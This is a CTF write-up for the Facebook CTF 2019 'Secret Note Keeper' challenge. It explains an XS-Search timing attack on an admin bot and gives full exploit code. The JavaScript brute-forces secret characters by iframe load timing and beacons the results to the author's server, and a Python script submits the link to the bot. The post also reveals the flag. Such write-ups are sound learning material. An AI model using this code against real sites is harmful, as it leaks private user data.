[Facebook CTF] Secret Note Keeper – Author: ducnt

XS-Search – Secret Note Keeper, Facebook CTF 2019

The 0ld-day of facebook ctf

Hi guys, long time no write.

Last week, I played Facebook CTF 2019 with PwnPHOfun CTF team. This CTF really cool, nice web challs. I solved secret note keeper chall, below are the details.

Overview:

This chall opened with simple login register and login form. Let’s create an account and review function.

Workflow:

  • Create note: You can create note with n
After some fuzzing and testing with report bugs function, I got an outbound connection to my VPS.

54.202.247.24 – – [01/Jun/2019:04:04:50 +0000] “GET /ducnt.html HTTP/1.1” 200 396 “-” “Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/74.0.3729.169 Safari/537.36”

HeadlessChrome, so basically, this chall really about client-side vulnerability.

So with the first sight with HeadlessChrome, I thought this chall is about XSS problem, however when testing with all fucntion, there are htmlentities filter, this going to a conclusion that exploit XSS vulnerability is impossible.

Looking about these function, I noticed that there is a problem in search notes function. Basically you just input the first character in secret info section, there is an iframe loaded with details of name and content of this note. This lead to a clue that really exist a vulnerability in report bugs function, and this vulnerability called XS-Search (sound familiar).

There are many article about this vulnerability, you can get some references at:

Let’s me explain simple about that bug with my knowledge (correct me if I’m wrong :D). Basically if you have a banking account with $5M, somehow with this bug, I can extract your balance :D. That is the impact of this vulnerability.

Back to the chall, how to get the flag ???.
In the description, author noted: Find the secret note that contains the fl4g!. So only admin can search fl4g note with flag detail. In this case, admin is bot. Somehow we will force bot for searching flag and return content with char by char for us.

Xploit flow:

  1. Prepare exploit script and host on your VPS.
  2. Prepare exploit code that solve pow and automatic send your exploit script in (1).
  3. Tracking in your access.log on your VPS with char by char of flag sent from bot.
  4. Capture the flag.

 Xploit code:

exploit1337.html:

<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>ducnt-gopro</title>
</head>
<body>
<script src="exploit.js"></script>
</body>
</html>

 

exploit.js

const fengshui = 'http://challenges.fbctf.com:8082/search?query=';
const _0x1337 = 'http://0x1337.space/fbctf2019/exploit3133737.html?a=';
let charset = "0123456789abcdefghijklmnopqrstuvwxyz{|}!\"#$%&\'()*+,-./:;<=>[email protected][\\]^_`~";
const flag = "fb";
// const flag = "fb{";

// const flag = "fb{cr055_s173_l34|<5_4r4_c00ool!!}";
window.addEventListener('load', () => {
  let result = [];
  let i = 0;
  console.log(location.href.split('?')[1]);
  const brute = (i) => {
	      if (i === charset.length) {
	            const sorted = result.sort((x, y) => y[1] - x[1]);
	            const found = sorted[0][0];
	            console.log(found);
	            (new Image).src = _0x1337 + encodeURIComponent(JSON.stringify(sorted));
	            return;
	          }
	      let go;
	      let iframe = document.createElement('iframe');
	      iframe.src = fengshui + encodeURIComponent(flag + charset[i]);
	      iframe.addEventListener('load', () => {
		            document.body.removeChild(iframe);
		            result.push([charset[i], Date.now() - go]);
		            setTimeout(() => { brute(i + 1); }, 100);
		          }, false);
	      go = Date.now();
	      document.body.appendChild(iframe);
	    };
  brute(0);
}, false);

 

exploit.py

#!/usr/bin/env python
# Author: ducnt


import requests
import hashlib
import random

def login():
	s = requests.Session()
	data = {"username":"ducnt3133737", "password":"ducnt3133737"}
	url = "http://challenges.fbctf.com:8082/login"
	r = s.post(url, data=data)
	url2 = "http://challenges.fbctf.com:8082/report_bugs"
	r = s.get(url2)
	_pow_string = r.content
	a = r.content.find("proof of work for")
	_check = _pow_string[a+18:a+23]

	return s.cookies,_check

def pow(_a):
	while 1:
		a = random.randint(0, 10000000000000)
		_cp = hashlib.md5(str(a)).hexdigest()
		if _cp[:5] == _a:
			return a
			break

def exploit():
	fengshui_cookies,_check = login()
	_pow = pow(_check)

	fengshui_url = "http://challenges.fbctf.com:8082/report_bugs"
	fengshui_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
	fengshui_data={"title": "f", "body": "f", "link": "http://0x1337.space/fbctf2019/exploit1337.html", "pow_sol": str(_pow)}
	r = requests.post(fengshui_url, headers=fengshui_headers, cookies=fengshui_cookies, data=fengshui_data)
	print r.content

exploit()

 

For example: I created a note with note title aaaaaaaa and content flag is: fbflagflag. Setup xploit script which brute force from fb keyword. And the next character expected is f:
It worked
 
Running exploit simply: $ python exploit.py && tracking in your access.log. Update flag in const flag of exploit.js and repeat (because timeout is 5 seconds, so you can extract one or two character in one exploit session)
Capture the flag:
And the flag is: fb{cr055_s173_l34|<5_4r4_c00ool!!} (In the first extract, I get a wrong flag with just 1 byte :'(, this gave me 2 hours for troubleshoot).
Thanks for reading and sorry for my bad engrisk (toeic 900 :'( ). However, in this CTF, facebook used ctfd.io, I really miss the old of facebook CTF framework, it’s really c00ool!!